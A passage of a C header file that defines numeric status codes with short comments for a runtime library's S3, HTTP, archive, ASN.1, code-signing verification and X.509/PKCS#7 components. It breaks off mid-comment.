/** @name RTS3 status codes * @{ */ /** Access denied error. */ #define VERR_S3_ACCESS_DENIED (-875) /** The bucket/key wasn't found. */ #define VERR_S3_NOT_FOUND (-876) /** Bucket already exists. */ #define VERR_S3_BUCKET_ALREADY_EXISTS (-877) /** Can't delete bucket with keys. */ #define VERR_S3_BUCKET_NOT_EMPTY (-878) /** The current operation was canceled. */ #define VERR_S3_CANCELED (-879) /** @} */ /** @name HTTP status codes * @{ */ /** HTTP initialization failed. */ #define VERR_HTTP_INIT_FAILED (-885) /** The server has not found anything matching the URI given. */ #define VERR_HTTP_NOT_FOUND (-886) /** The request is for something forbidden. Authorization will not help. */ #define VERR_HTTP_ACCESS_DENIED (-887) /** The server did not understand the request due to bad syntax. */ #define VERR_HTTP_BAD_REQUEST (-888) /** Couldn't connect to the server (proxy?). */ #define VERR_HTTP_COULDNT_CONNECT (-889) /** SSL connection error. */ #define VERR_HTTP_SSL_CONNECT_ERROR (-890) /** CAcert is missing or has the wrong format. */ #define VERR_HTTP_CACERT_WRONG_FORMAT (-891) /** Certificate cannot be authenticated with the given CA certificates. */ #define VERR_HTTP_CACERT_CANNOT_AUTHENTICATE (-892) /** The current HTTP request was forcefully aborted */ #define VERR_HTTP_ABORTED (-893) /** Request was redirected. */ #define VERR_HTTP_REDIRECTED (-894) /** @} */ /** @name RTManifest status codes * @{ */ /** A digest type used in the manifest file isn't supported. */ #define VERR_MANIFEST_UNSUPPORTED_DIGEST_TYPE (-900) /** An entry in the manifest file couldn't be interpreted correctly. */ #define VERR_MANIFEST_WRONG_FILE_FORMAT (-901) /** A digest doesn't match the corresponding file. */ #define VERR_MANIFEST_DIGEST_MISMATCH (-902) /** The file list doesn't match to the content of the manifest file. */ #define VERR_MANIFEST_FILE_MISMATCH (-903) /** The specified attribute (name) was not found in the manifest. */ #define VERR_MANIFEST_ATTR_NOT_FOUND (-904) /** The attribute type did not match. */ #define VERR_MANIFEST_ATTR_TYPE_MISMATCH (-905) /** No attribute of the specified types was found. */ #define VERR_MANIFEST_ATTR_TYPE_NOT_FOUND (-906) /** @} */ /** @name RTTar status codes * @{ */ /** The checksum of a tar header record doesn't match. */ #define VERR_TAR_CHKSUM_MISMATCH (-925) /** The tar end of file record was read. */ #define VERR_TAR_END_OF_FILE (-926) /** The tar file ended unexpectedly. */ #define VERR_TAR_UNEXPECTED_EOS (-927) /** The tar termination records was encountered without reaching the end of * the input stream. */ #define VERR_TAR_EOS_MORE_INPUT (-928) /** A number tar header field was malformed. */ #define VERR_TAR_BAD_NUM_FIELD (-929) /** A numeric tar header field was not terminated correctly. */ #define VERR_TAR_BAD_NUM_FIELD_TERM (-930) /** A number tar header field was encoded using base-256 which this * tar implementation currently does not support. */ #define VERR_TAR_BASE_256_NOT_SUPPORTED (-931) /** A number tar header field yielded a value too large for the internal * variable of the tar interpreter. */ #define VERR_TAR_NUM_VALUE_TOO_LARGE (-932) /** The combined minor and major device number type is too small to hold the * value stored in the tar header. */ #define VERR_TAR_DEV_VALUE_TOO_LARGE (-933) /** The mode field in a tar header is bad. */ #define VERR_TAR_BAD_MODE_FIELD (-934) /** The mode field should not include the type. */ #define VERR_TAR_MODE_WITH_TYPE (-935) /** The size field should be zero for links and symlinks. */ #define VERR_TAR_SIZE_NOT_ZERO (-936) /** Encountered an unknown type flag. */ #define VERR_TAR_UNKNOWN_TYPE_FLAG (-937) /** The tar header is all zeros. */ #define VERR_TAR_ZERO_HEADER (-938) /** Not a uniform standard tape v0.0 archive header. */ #define VERR_TAR_NOT_USTAR_V00 (-939) /** The name is empty. */ #define VERR_TAR_EMPTY_NAME (-940) /** A non-directory entry has a name ending with a slash. */ #define VERR_TAR_NON_DIR_ENDS_WITH_SLASH (-941) /** Encountered an unsupported portable archive exchange (pax) header. */ #define VERR_TAR_UNSUPPORTED_PAX_TYPE (-942) /** Encountered an unsupported Solaris Tar extension. */ #define VERR_TAR_UNSUPPORTED_SOLARIS_HDR_TYPE (-943) /** Encountered an unsupported GNU Tar extension. */ #define VERR_TAR_UNSUPPORTED_GNU_HDR_TYPE (-944) /** Malformed checksum field in the tar header. */ #define VERR_TAR_BAD_CHKSUM_FIELD (-945) /** Malformed checksum field in the tar header. */ #define VERR_TAR_MALFORMED_GNU_LONGXXXX (-946) /** Too long name or link string. */ #define VERR_TAR_NAME_TOO_LONG (-947) /** A directory entry in the archive. */ #define VINF_TAR_DIR_PATH (948) /** @} */ /** @name RTPoll status codes * @{ */ /** The handle is not pollable. */ #define VERR_POLL_HANDLE_NOT_POLLABLE (-950) /** The handle ID is already present in the poll set. */ #define VERR_POLL_HANDLE_ID_EXISTS (-951) /** The handle ID was not found in the set. */ #define VERR_POLL_HANDLE_ID_NOT_FOUND (-952) /** The poll set is full. */ #define VERR_POLL_SET_IS_FULL (-953) /** @} */ /** @name Pkzip status codes * @{ */ /** No end of central directory record found. */ #define VERR_PKZIP_NO_EOCB (-960) /** Too long name string. */ #define VERR_PKZIP_NAME_TOO_LONG (-961) /** Local file header corrupt. */ #define VERR_PKZIP_BAD_LF_HEADER (-962) /** Central directory file header corrupt. */ #define VERR_PKZIP_BAD_CDF_HEADER (-963) /** Encountered an unknown type flag. */ #define VERR_PKZIP_UNKNOWN_TYPE_FLAG (-964) /** Found a ZIP64 Extra Information Field in a ZIP32 file. */ #define VERR_PKZIP_ZIP64EX_IN_ZIP32 (-965) /** @name RTZip status codes * @{ */ /** Generic zip error. */ #define VERR_ZIP_ERROR (-22000) /** The compressed data was corrupted. */ #define VERR_ZIP_CORRUPTED (-22001) /** Ran out of memory while compressing or uncompressing. */ #define VERR_ZIP_NO_MEMORY (-22002) /** The compression format version is unsupported. */ #define VERR_ZIP_UNSUPPORTED_VERSION (-22003) /** The compression method is unsupported. */ #define VERR_ZIP_UNSUPPORTED_METHOD (-22004) /** The compressed data started with a bad header. */ #define VERR_ZIP_BAD_HEADER (-22005) /** @} */ /** @name RTVfs status codes * @{ */ /** The VFS chain specification does not have a valid prefix. */ #define VERR_VFS_CHAIN_NO_PREFIX (-22100) /** The VFS chain specification is empty. */ #define VERR_VFS_CHAIN_EMPTY (-22101) /** Expected an element. */ #define VERR_VFS_CHAIN_EXPECTED_ELEMENT (-22102) /** The VFS object type is not known. */ #define VERR_VFS_CHAIN_UNKNOWN_TYPE (-22103) /** Expected a left paranthese. */ #define VERR_VFS_CHAIN_EXPECTED_LEFT_PARENTHESES (-22104) /** Expected a right paranthese. */ #define VERR_VFS_CHAIN_EXPECTED_RIGHT_PARENTHESES (-22105) /** Expected a provider name. */ #define VERR_VFS_CHAIN_EXPECTED_PROVIDER_NAME (-22106) /** Expected an action (> or |). */ #define VERR_VFS_CHAIN_EXPECTED_ACTION (-22107) /** Only one action element is currently supported. */ #define VERR_VFS_CHAIN_MULTIPLE_ACTIONS (-22108) /** Expected to find a driving action (>), but there is none. */ #define VERR_VFS_CHAIN_NO_ACTION (-22109) /** Expected pipe action. */ #define VERR_VFS_CHAIN_EXPECTED_PIPE (-22110) /** Unexpected action type. */ #define VERR_VFS_CHAIN_UNEXPECTED_ACTION_TYPE (-22111) /** @} */ /** @name RTDvm status codes * @{ */ /** The volume map doesn't contain any valid volume. */ #define VERR_DVM_MAP_EMPTY (-22200) /** There is no volume behind the current one. */ #define VERR_DVM_MAP_NO_VOLUME (-22201) /** @} */ /** @name Logger status codes * @{ */ /** The internal logger revision did not match. */ #define VERR_LOG_REVISION_MISMATCH (-22300) /** @} */ /* see above, 22400..22499 is used for misc codes! */ /** @name Logger status codes * @{ */ /** Power off is not supported by the hardware or the OS. */ #define VERR_SYS_CANNOT_POWER_OFF (-22500) /** The halt action was requested, but the OS may actually power * off the machine. */ #define VINF_SYS_MAY_POWER_OFF (22501) /** Shutdown failed. */ #define VERR_SYS_SHUTDOWN_FAILED (-22502) /** @} */ /** @name Filesystem status codes * @{ */ /** Filesystem can't be opened because it is corrupt. */ #define VERR_FILESYSTEM_CORRUPT (-22600) /** @} */ /** @name RTZipXar status codes. * @{ */ /** Wrong magic value. */ #define VERR_XAR_WRONG_MAGIC (-22700) /** Bad header size. */ #define VERR_XAR_BAD_HDR_SIZE (-22701) /** Unsupported version. */ #define VERR_XAR_UNSUPPORTED_VERSION (-22702) /** Unsupported hashing function. */ #define VERR_XAR_UNSUPPORTED_HASH_FUNCTION (-22703) /** The table of content (TOC) is too small and therefore can't be valid. */ #define VERR_XAR_TOC_TOO_SMALL (-22704) /** The table of content (TOC) is too big. */ #define VERR_XAR_TOC_TOO_BIG (-22705) /** The compressed table of content is too big. */ #define VERR_XAR_TOC_TOO_BIG_COMPRESSED (-22706) /** The uncompressed table of content size in the header didn't match what * ZLib returned. */ #define VERR_XAR_TOC_UNCOMP_SIZE_MISMATCH (-22707) /** The table of content string length didn't match the size specified in the * header. */ #define VERR_XAR_TOC_STRLEN_MISMATCH (-22708) /** The table of content isn't valid UTF-8. */ #define VERR_XAR_TOC_UTF8_ENCODING (-22709) /** XML error while parsing the table of content. */ #define VERR_XAR_TOC_XML_PARSE_ERROR (-22710) /** The table of content XML document does not have a toc element. */ #define VERR_XML_TOC_ELEMENT_MISSING (-22711) /** The table of content XML element (toc) has sibilings, we expected it to be * an only child or the root element (xar). */ #define VERR_XML_TOC_ELEMENT_HAS_SIBLINGS (-22712) /** The XAR table of content digest doesn't match. */ #define VERR_XAR_TOC_DIGEST_MISMATCH (-22713) /** Bad or missing XAR checksum element. */ #define VERR_XAR_BAD_CHECKSUM_ELEMENT (-22714) /** The hash function in the header doesn't match the one in the table of * content. */ #define VERR_XAR_HASH_FUNCTION_MISMATCH (-22715) /** Bad digest length encountered in the table of content. */ #define VERR_XAR_BAD_DIGEST_LENGTH (-22716) /** The order of elements in the XAR file does not lend it self to expansion * from via an I/O stream. */ #define VERR_XAR_NOT_STREAMBLE_ELEMENT_ORDER (-22717) /** Missing offset element in table of content sub-element. */ #define VERR_XAR_MISSING_OFFSET_ELEMENT (-22718) /** Bad offset element in table of content sub-element. */ #define VERR_XAR_BAD_OFFSET_ELEMENT (-22719) /** Missing size element in table of content sub-element. */ #define VERR_XAR_MISSING_SIZE_ELEMENT (-22720) /** Bad size element in table of content sub-element. */ #define VERR_XAR_BAD_SIZE_ELEMENT (-22721) /** Missing length element in table of content sub-element. */ #define VERR_XAR_MISSING_LENGTH_ELEMENT (-22722) /** Bad length element in table of content sub-element. */ #define VERR_XAR_BAD_LENGTH_ELEMENT (-22723) /** Bad file element in XAR table of content. */ #define VERR_XAR_BAD_FILE_ELEMENT (-22724) /** Missing data element for XAR file. */ #define VERR_XAR_MISSING_DATA_ELEMENT (-22725) /** Unknown XAR file type value. */ #define VERR_XAR_UNKNOWN_FILE_TYPE (-22726) /** Missing encoding element for XAR data stream. */ #define VERR_XAR_NO_ENCODING (-22727) /** Bad timestamp for XAR file. */ #define VERR_XAR_BAD_FILE_TIMESTAMP (-22728) /** Bad file mode for XAR file. */ #define VERR_XAR_BAD_FILE_MODE (-22729) /** Bad file user id for XAR file. */ #define VERR_XAR_BAD_FILE_UID (-22730) /** Bad file group id for XAR file. */ #define VERR_XAR_BAD_FILE_GID (-22731) /** Bad file inode device number for XAR file. */ #define VERR_XAR_BAD_FILE_DEVICE_NO (-22732) /** Bad file inode number for XAR file. */ #define VERR_XAR_BAD_FILE_INODE (-22733) /** Invalid name for XAR file. */ #define VERR_XAR_INVALID_FILE_NAME (-22734) /** The message digest of the extracted data does not match the one supplied. */ #define VERR_XAR_EXTRACTED_HASH_MISMATCH (-22735) /** The extracted data has exceeded the expected size. */ #define VERR_XAR_EXTRACTED_SIZE_EXCEEDED (-22736) /** The message digest of the archived data does not match the one supplied. */ #define VERR_XAR_ARCHIVED_HASH_MISMATCH (-22737) /** The decompressor completed without using all the input data. */ #define VERR_XAR_UNUSED_ARCHIVED_DATA (-22738) /** Expected the archived and extracted XAR data sizes to be the same for * uncompressed data. */ #define VERR_XAR_ARCHIVED_AND_EXTRACTED_SIZES_MISMATCH (-22739) /** @} */ /** @name RTX509 status codes * @{ */ /** Error reading a certificate in PEM format from BIO. */ #define VERR_X509_READING_CERT_FROM_BIO (-23100) /** Error extracting a public key from the certificate. */ #define VERR_X509_EXTRACT_PUBKEY_FROM_CERT (-23101) /** Error extracting RSA from the public key. */ #define VERR_X509_EXTRACT_RSA_FROM_PUBLIC_KEY (-23102) /** Signature verification failed. */ #define VERR_X509_RSA_VERIFICATION_FUILURE (-23103) /** Basic constraints were not found. */ #define VERR_X509_NO_BASIC_CONSTARAINTS (-23104) /** Error getting extensions from the certificate. */ #define VERR_X509_GETTING_EXTENSION_FROM_CERT (-23105) /** Error getting a data from the extension. */ #define VERR_X509_GETTING_DATA_FROM_EXTENSION (-23106) /** Error formatting an extension. */ #define VERR_X509_PRINT_EXTENSION_TO_BIO (-23107) /** X509 certificate verification error. */ #define VERR_X509_CERTIFICATE_VERIFICATION_FAILURE (-23108) /** X509 certificate isn't self signed. */ #define VERR_X509_NOT_SELFSIGNED_CERTIFICATE (-23109) /** Warning X509 certificate isn't self signed. */ #define VINF_X509_NOT_SELFSIGNED_CERTIFICATE 23109 /** @} */ /** @name RTAsn1 status codes * @{ */ /** Temporary place holder. */ #define VERR_ASN1_ERROR (-22800) /** Encountered an ASN.1 string type that is not supported. */ #define VERR_ASN1_STRING_TYPE_NOT_IMPLEMENTED (-22801) /** Invalid ASN.1 UTF-8 STRING encoding. */ #define VERR_ASN1_INVALID_UTF8_STRING_ENCODING (-22802) /** Invalid ASN.1 NUMERIC STRING encoding. */ #define VERR_ASN1_INVALID_NUMERIC_STRING_ENCODING (-22803) /** Invalid ASN.1 PRINTABLE STRING encoding. */ #define VERR_ASN1_INVALID_PRINTABLE_STRING_ENCODING (-22804) /** Invalid ASN.1 T61/TELETEX STRING encoding. */ #define VERR_ASN1_INVALID_T61_STRING_ENCODING (-22805) /** Invalid ASN.1 VIDEOTEX STRING encoding. */ #define VERR_ASN1_INVALID_VIDEOTEX_STRING_ENCODING (-22806) /** Invalid ASN.1 IA5 STRING encoding. */ #define VERR_ASN1_INVALID_IA5_STRING_ENCODING (-22807) /** Invalid ASN.1 GRAPHIC STRING encoding. */ #define VERR_ASN1_INVALID_GRAPHIC_STRING_ENCODING (-22808) /** Invalid ASN.1 ISO-646/VISIBLE STRING encoding. */ #define VERR_ASN1_INVALID_VISIBLE_STRING_ENCODING (-22809) /** Invalid ASN.1 GENERAL STRING encoding. */ #define VERR_ASN1_INVALID_GENERAL_STRING_ENCODING (-22810) /** Invalid ASN.1 UNIVERSAL STRING encoding. */ #define VERR_ASN1_INVALID_UNIVERSAL_STRING_ENCODING (-22811) /** Invalid ASN.1 BMP STRING encoding. */ #define VERR_ASN1_INVALID_BMP_STRING_ENCODING (-22812) /** Invalid ASN.1 OBJECT IDENTIFIER encoding. */ #define VERR_ASN1_INVALID_OBJID_ENCODING (-22813) /** A component value of an ASN.1 OBJECT IDENTIFIER is too big for our * internal representation (32-bits). */ #define VERR_ASN1_OBJID_COMPONENT_TOO_BIG (-22814) /** Too many components in an ASN.1 OBJECT IDENTIFIER for our internal * representation. */ #define VERR_ASN1_OBJID_TOO_MANY_COMPONENTS (-22815) /** The dotted-string representation of an ASN.1 OBJECT IDENTIFIER would be too * long for our internal representation. */ #define VERR_ASN1_OBJID_TOO_LONG_STRING_FORM (-22816) /** Invalid dotted string. */ #define VERR_ASN1_OBJID_INVALID_DOTTED_STRING (-22817) /** Constructed string type not implemented. */ #define VERR_ASN1_CONSTRUCTED_STRING_NOT_IMPL (-22818) /** Expected a different string tag. */ #define VERR_ASN1_STRING_TAG_MISMATCH (-22819) /** Expected a different time tag. */ #define VERR_ASN1_TIME_TAG_MISMATCH (-22820) /** More unconsumed data available. */ #define VINF_ASN1_MORE_DATA (22821) /** RTAsnEncodeWriteHeader return code indicating that nothing was written * and the content should be skipped as well. */ #define VINF_ASN1_NOT_ENCODED (22822) /** Unknown escape sequence encountered in TeletexString. */ #define VERR_ASN1_TELETEX_UNKNOWN_ESC_SEQ (-22823) /** Unsupported escape sequence encountered in TeletexString. */ #define VERR_ASN1_TELETEX_UNSUPPORTED_ESC_SEQ (-22824) /** Unsupported character set. */ #define VERR_ASN1_TELETEX_UNSUPPORTED_CHARSET (-22825) /** ASN.1 object has no virtual method table. */ #define VERR_ASN1_NO_VTABLE (-22826) /** ASN.1 object has no pfnCheckSanity method. */ #define VERR_ASN1_NO_CHECK_SANITY_METHOD (-22827) /** ASN.1 object is not present */ #define VERR_ASN1_NOT_PRESENT (-22828) /** There are unconsumed bytes after decoding an ASN.1 object. */ #define VERR_ASN1_CURSOR_NOT_AT_END (-22829) /** Long ASN.1 tag form is not implemented. */ #define VERR_ASN1_CURSOR_LONG_TAG (-22830) /** Bad ASN.1 object length encoding. */ #define VERR_ASN1_CURSOR_BAD_LENGTH_ENCODING (-22831) /** Indefinite length form is against the rules. */ #define VERR_ASN1_CURSOR_ILLEGAL_IDEFINITE_LENGTH (-22832) /** Indefinite length form is not implemented. */ #define VERR_ASN1_CURSOR_IDEFINITE_LENGTH_NOT_SUP (-22833) /** ASN.1 object length goes beyond the end of the byte stream being decoded. */ #define VERR_ASN1_CURSOR_BAD_LENGTH (-22834) /** Not more data in ASN.1 byte stream. */ #define VERR_ASN1_CURSOR_NO_MORE_DATA (-22835) /** Too little data in ASN.1 byte stream. */ #define VERR_ASN1_CURSOR_TOO_LITTLE_DATA_LEFT (-22836) /** Constructed string is not according to the encoding rules. */ #define VERR_ASN1_CURSOR_ILLEGAL_CONSTRUCTED_STRING (-22837) /** Unexpected ASN.1 tag encountered while decoding. */ #define VERR_ASN1_CURSOR_TAG_MISMATCH (-22838) /** Unexpected ASN.1 tag class/flag encountered while decoding. */ #define VERR_ASN1_CURSOR_TAG_FLAG_CLASS_MISMATCH (-22839) /** ASN.1 bit string object is out of bounds. */ #define VERR_ASN1_BITSTRING_OUT_OF_BOUNDS (-22840) /** Bad ASN.1 time object. */ #define VERR_ASN1_TIME_BAD_NORMALIZE_INPUT (-22841) /** Failed to normalize ASN.1 time object. */ #define VERR_ASN1_TIME_NORMALIZE_ERROR (-22842) /** Normalization of ASN.1 time object didn't work out. */ #define VERR_ASN1_TIME_NORMALIZE_MISMATCH (-22843) /** Invalid ASN.1 UTC TIME encoding. */ #define VERR_ASN1_INVALID_UTC_TIME_ENCODING (-22844) /** Invalid ASN.1 GENERALIZED TIME encoding. */ #define VERR_ASN1_INVALID_GENERALIZED_TIME_ENCODING (-22845) /** Invalid ASN.1 BOOLEAN encoding. */ #define VERR_ASN1_INVALID_BOOLEAN_ENCODING (-22846) /** Invalid ASN.1 NULL encoding. */ #define VERR_ASN1_INVALID_NULL_ENCODING (-22847) /** Invalid ASN.1 BIT STRING encoding. */ #define VERR_ASN1_INVALID_BITSTRING_ENCODING (-22848) /** Unimplemented ASN.1 tag reached the RTAsn1DynType code. */ #define VERR_ASN1_DYNTYPE_TAG_NOT_IMPL (-22849) /** ASN.1 tag and flags/class mismatch in RTAsn1DynType code. */ #define VERR_ASN1_DYNTYPE_BAD_TAG (-22850) /** Unexpected ASN.1 fake/dummy object. */ #define VERR_ASN1_DUMMY_OBJECT (-22851) /** ASN.1 object is too long. */ #define VERR_ASN1_TOO_LONG (-22852) /** Expected primitive ASN.1 object. */ #define VERR_ASN1_EXPECTED_PRIMITIVE (-22853) /** Expected valid data pointer for ASN.1 object. */ #define VERR_ASN1_INVALID_DATA_POINTER (-22854) /** The ASN.1 encoding is too deeply nested for the decoder. */ #define VERR_ASN1_TOO_DEEPLY_NESTED (-22855) /** ANS.1 internal error 1. */ #define VERR_ASN1_INTERNAL_ERROR_1 (-22895) /** ANS.1 internal error 2. */ #define VERR_ASN1_INTERNAL_ERROR_2 (-22896) /** ANS.1 internal error 3. */ #define VERR_ASN1_INTERNAL_ERROR_3 (-22897) /** ANS.1 internal error 4. */ #define VERR_ASN1_INTERNAL_ERROR_4 (-22898) /** ANS.1 internal error 5. */ #define VERR_ASN1_INTERNAL_ERROR_5 (-22899) /** @} */ /** @name More RTLdr status codes. * @{ */ /** Image Verficiation Failure: No Authenticode Signature. */ #define VERR_LDRVI_NOT_SIGNED (-22900) /** Image Verficiation Warning: No Authenticode Signature, but on whitelist. */ #define VINF_LDRVI_NOT_SIGNED (22900) /** Image Verficiation Failure: Error reading image headers. */ #define VERR_LDRVI_READ_ERROR_HDR (-22901) /** Image Verficiation Failure: Error reading section headers. */ #define VERR_LDRVI_READ_ERROR_SHDRS (-22902) /** Image Verficiation Failure: Error reading authenticode signature data. */ #define VERR_LDRVI_READ_ERROR_SIGNATURE (-22903) /** Image Verficiation Failure: Error reading file for hashing. */ #define VERR_LDRVI_READ_ERROR_HASH (-22904) /** Image Verficiation Failure: Error determining the file length. */ #define VERR_LDRVI_FILE_LENGTH_ERROR (-22905) /** Image Verficiation Failure: Error allocating memory for state data. */ #define VERR_LDRVI_NO_MEMORY_STATE (-22906) /** Image Verficiation Failure: Error allocating memory for authenticode * signature data. */ #define VERR_LDRVI_NO_MEMORY_SIGNATURE (-22907) /** Image Verficiation Failure: Error allocating memory for section headers. */ #define VERR_LDRVI_NO_MEMORY_SHDRS (-22908) /** Image Verficiation Failure: Authenticode parsing output. */ #define VERR_LDRVI_NO_MEMORY_PARSE_OUTPUT (-22909) /** Image Verficiation Failure: Invalid security directory entry. */ #define VERR_LDRVI_INVALID_SECURITY_DIR_ENTRY (-22910) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_CERT_HDR_LENGTH (-22911) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_CERT_HDR_REVISION (-22912) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_CERT_HDR_TYPE (-22913) /** Image Verficiation Failure: More than one certificate table entry. */ #define VERR_LDRVI_BAD_CERT_MULTIPLE (-22914) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_MZ_OFFSET (-22915) /** Image Verficiation Failure: Invalid section count. */ #define VERR_LDRVI_INVALID_SECTION_COUNT (-22916) /** Image Verficiation Failure: Raw data offsets and sizes are out of range. */ #define VERR_LDRVI_SECTION_RAW_DATA_VALUES (-22917) /** Optional header magic and target machine does not match. */ #define VERR_LDRVI_MACHINE_OPT_HDR_MAGIC_MISMATCH (-22918) /** Unsupported image target architecture. */ #define VERR_LDRVI_UNSUPPORTED_ARCH (-22919) /** Image Verification Failure: Internal error in signature parser. */ #define VERR_LDRVI_PARSE_IPE (-22921) /** Generic BER parse error. Will be refined later. */ #define VERR_LDRVI_PARSE_BER_ERROR (-22922) /** Expected the signed data content to be the object ID of * SpcIndirectDataContent, found something else instead. */ #define VERR_LDRVI_EXPECTED_INDIRECT_DATA_CONTENT_OID (-22923) /** Page hash table size overflow. */ #define VERR_LDRVI_PAGE_HASH_TAB_SIZE_OVERFLOW (-22924) /** Page hash table is too long (covers signature data, i.e. itself). */ #define VERR_LDRVI_PAGE_HASH_TAB_TOO_LONG (-22925) /** The page hash table is not strictly ordered by offset. */ #define VERR_LDRVI_PAGE_HASH_TAB_NOT_STRICTLY_SORTED (-22926) /** The page hash table hashes data outside the defined and implict sections. */ #define VERR_PAGE_HASH_TAB_HASHES_NON_SECTION_DATA (-22927) /** Page hash mismatch. */ #define VERR_LDRVI_PAGE_HASH_MISMATCH (-22928) /** Image hash mismatch. */ #define VERR_LDRVI_IMAGE_HASH_MISMATCH (-22929) /** Cannot resolve symbol because it's a forwarder. */ #define VERR_LDR_FORWARDER (-22950) /** The symbol is not a forwarder. */ #define VERR_LDR_NOT_FORWARDER (-22951) /** Malformed forwarder entry. */ #define VERR_LDR_BAD_FORWARDER (-22952) /** Too long forwarder chain or there is a loop. */ #define VERR_LDR_FORWARDER_CHAIN_TOO_LONG (-22953) /** Support for forwarders has not been implemented. */ #define VERR_LDR_FORWARDERS_NOT_SUPPORTED (-22954) /** @} */ /** @name RTCrX509 status codes. * @{ */ /** Generic X.509 error. */ #define VERR_CR_X509_GENERIC_ERROR (-23000) /** Internal error in the X.509 code. */ #define VERR_CR_X509_INTERNAL_ERROR (-23001) /** Internal error in the X.509 certificate path building and verification * code. */ #define VERR_CR_X509_CERTPATHS_INTERNAL_ERROR (-23002) /** Path not verified yet. */ #define VERR_CR_X509_NOT_VERIFIED (-23003) /** The certificate path has no trust anchor. */ #define VERR_CR_X509_NO_TRUST_ANCHOR (-23004) /** Unknown X.509 certificate signature algorithm. */ #define VERR_CR_X509_UNKNOWN_CERT_SIGN_ALGO (-23005) /** Certificate signature algorithm mismatch. */ #define VERR_CR_X509_CERT_SIGN_ALGO_MISMATCH (-23006) /** The signature algorithm in the to-be-signed certifcate part does not match * the one assoicated with the signature. */ #define VERR_CR_X509_CERT_TBS_SIGN_ALGO_MISMATCH (-23007) /** Certificate extensions requires certificate version 3 or later. */ #define VERR_CR_X509_TBSCERT_EXTS_REQ_V3 (-23008) /** Unique issuer and subject IDs require version certificate 2. */ #define VERR_CR_X509_TBSCERT_UNIQUE_IDS_REQ_V2 (-23009) /** Certificate serial number length is out of bounds. */ #define VERR_CR_X509_TBSCERT_SERIAL_NUMBER_OUT_OF_BOUNDS (-23010) /** Unsupported X.509 certificate version. */ #define VERR_CR_X509_TBSCERT_UNSUPPORTED_VERSION (-23011) /** Public key is too small. */ #define VERR_CR_X509_PUBLIC_KEY_TOO_SMALL (-23012) /** Invalid strnig tag for a X.509 name object. */ #define VERR_CR_X509_INVALID_NAME_STRING_TAG (-23013) /** Empty string in X.509 name object. */ #define VERR_CR_X509_NAME_EMPTY_STRING (-23014) /** Non-string object inside X.509 name object. */ #define VERR_CR_X509_NAME_NOT_STRING (-23015) /** Empty set inside X.509 name. */ #define VERR_CR_X509_NAME_EMPTY_SET (-23016) /** Empty sub-string set inside X.509 name. */ #define VERR_CR_X509_NAME_EMPTY_SUB_SET (-23017) /** The NotBefore and NotAfter values of an X.509 Validity object seems to * have been swapped around. */ #define VERR_CR_X509_VALIDITY_SWAPPED (-23018) /** Duplicate certificate extension. */ #define VERR_CR_X509_TBSCERT_DUPLICATE_EXTENSION (-23019) /** Missing relative distinguished name map entry. */ #define VERR_CR_X509_NAME_MISSING_RDN_MAP_ENTRY (-23020) /** Certificate path validator: No trusted certificate paths. */ #define VERR_CR_X509_CPV_NO_TRUSTED_PATHS (-23021) /** Certificate path validator: No valid certificate policy. */ #define VERR_CR_X509_CPV_NO_VALID_POLICY (-23022) /** Certificate path validator: Unknown critical certificate extension. */ #define VERR_CR_X509_CPV_UNKNOWN_CRITICAL_EXTENSION (-23023) /** Certificate path validator: Intermediate certificate is missing the * KeyCertSign usage flag. */ #define VERR_CR_X509_CPV_MISSING_KEY_CERT_SIGN (-23024) /** Certificate path validator: Hit the max certificate path length before * reaching trust anchor. */ #define VERR_CR_X509_CPV_MAX_PATH_LENGTH (-23025) /** Certificate path validator: Intermediate certificate is not marked as a * certificate authority (CA). */ #define VERR_CR_X509_CPV_NOT_CA_CERT (-23026) /** Certificate path validator: Intermeidate certificate is not a version 3 * certificate. */ #define VERR_CR_X509_CPV_NOT_V3_CERT (-23027) /** Certificate path validator: Invalid policy mapping (to/from anyPolicy). */ #define VERR_CR_X509_CPV_INVALID_POLICY_MAPPING (-23028) /** Certificate path validator: Name constraints permits no names. */ #define VERR_CR_X509_CPV_NO_PERMITTED_NAMES (-23029) /** Certificate path validator: Name constraints does not permits the * certificate name. */ #define VERR_CR_X509_CPV_NAME_NOT_PERMITTED (-23030) /** Certificate path validator: Name constraints does not permits the * alternative certificate name. */ #define VERR_CR_X509_CPV_ALT_NAME_NOT_PERMITTED (-23031) /** Certificate path validator: Intermediate certificate subject does not * match child issuer property. */ #define VERR_CR_X509_CPV_ISSUER_MISMATCH (-23032) /** Certificate path validator: The certificate is not valid at the * specificed time. */ #define VERR_CR_X509_CPV_NOT_VALID_AT_TIME (-23033) /** Certificate path validator: Unexpected choice found in general subtree * object (name constraints). */ #define VERR_CR_X509_CPV_UNEXP_GENERAL_SUBTREE_CHOICE (-23034) /** Certificate path validator: Unexpected minimum value found in general * subtree object (name constraints). */ #define VERR_CR_X509_CPV_UNEXP_GENERAL_SUBTREE_MIN (-23035) /** Certificate path validator: Unexpected maximum value found in * general subtree object (name constraints). */ #define VERR_CR_X509_CPV_UNEXP_GENERAL_SUBTREE_MAX (-23036) /** Certificate path builder: Encountered bad certificate context. */ #define VERR_CR_X509_CPB_BAD_CERT_CTX (-23037) /** OpenSSL d2i_X509 failed. */ #define VERR_CR_X509_OSSL_D2I_FAILED (-23090) /** @} */ /** @name RTCrPkcs7 status codes. * @{ */ /** Generic PKCS \#7 error. */ #define VERR_CR_PKCS7_GENERIC_ERROR (-23300) /** Signed data verfication failed because there are zero signer infos. */ #define VERR_CR_PKCS7_NO_SIGNER_INFOS (-23301) /** Signed data certificate not found. */ #define VERR_CR_PKCS7_SIGNED_DATA_CERT_NOT_FOUND (-23302) /** Signed data verification failed due to key usage issues. */ #define VERR_CR_PKCS7_KEY_USAGE_MISMATCH (-23303) /** Signed data verification failed because of missing (or duplicate) * authenticated content-type attribute. */ #define VERR_CR_PKCS7_MISSING_CONTENT_TYPE_ATTRIB (-23304) /** Signed data verification failed because of the authenticated content-type * attribute did not match. */ #define VERR_CR_PKCS7_CONTENT_TYPE_ATTRIB_MISMATCH (-23305) /** Signed data verification failed because of a malformed authenticated * content-type attribute. */ #define VERR_CR_PKCS7_BAD_CONTENT_TYPE_ATTRIB (-23306) /** Signed data verification failed because of missing (or duplicate) * authenticated message-digest attribute. */ #define VERR_CR_PKCS7_MISSING_MESSAGE_DIGEST_ATTRIB (-23307) /** Signed data verification failed because the authenticated message-digest * attribute did not match. */ #define VERR_CR_PKCS7_MESSAGE_DIGEST_ATTRIB_MISMATCH (-23308) /** Signed data 